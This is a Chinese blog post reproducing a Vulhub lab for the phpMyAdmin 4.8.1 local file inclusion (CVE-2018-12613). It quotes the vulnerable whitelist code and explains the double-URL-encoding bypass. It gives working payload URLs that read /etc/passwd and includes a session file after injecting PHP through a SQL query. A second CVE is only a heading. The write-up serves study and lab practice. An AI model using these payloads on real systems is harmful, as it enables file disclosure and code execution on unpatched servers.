目录
  1. 1. phpmyadmin
    1. 1.1. phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
      1. 1.1.1. 漏洞分析
      2. 1.1.2. 漏洞利用
    2. 1.2. phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
Vulhub 漏洞复现与分析

phpmyadmin

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞分析

学习资料:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

文件: phpMyAdmin-4.8.1-all-languages.zip

漏洞核心:/index.php 具有 include $_REQUEST['target']; ——》LFI

限制如下:

$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
```

1. `target `不为空
2. `target `是一个字符串
3. `target `开头不能为 `index`
4. `target `不在黑名单内,只要不是 import.php 或 export.php 就行
5. `target `要经过 `Core` 类的 `checkPageValidity` 方法

跟进 `Core` 类的 `checkPageValidity` 方法

```php
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
);

public static function checkPageValidity(&$page, array $whitelist = [])
{
// 判断 $whitelist 是否为空,如果为空则取默认的一组
if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
$whitelist = self::$goto_whitelist;
}

if (! isset($page) || !is_string($page)) {
return false;
}

// 判断 $page 是否在白名单
if (in_array($page, $whitelist)) {
return true;
}

// 分割 $page 的参数,取 ? 前的文件名,判断是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

// url 解码后执行和上一步相同的操作
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

Bypass核心思路: urldecode(),利用二次编码绕过

漏洞利用

搭建环境:vulhub

漏洞路径:/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

这里演示一下读取 /etc/passwd 文件

或者可以包含 session 文件

首先在 SQL 查询处执行 SELECT '<?=phpinfo()?>';

然后在 cookie 里复制自己的 sessionid

访问 session 存放路径 /tmp/sess_你的sessionid

这里访问:http://xxx.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_a23f4cdd98874767ea200097db94d9b8

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/09/21/Vulhub-漏洞复现/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论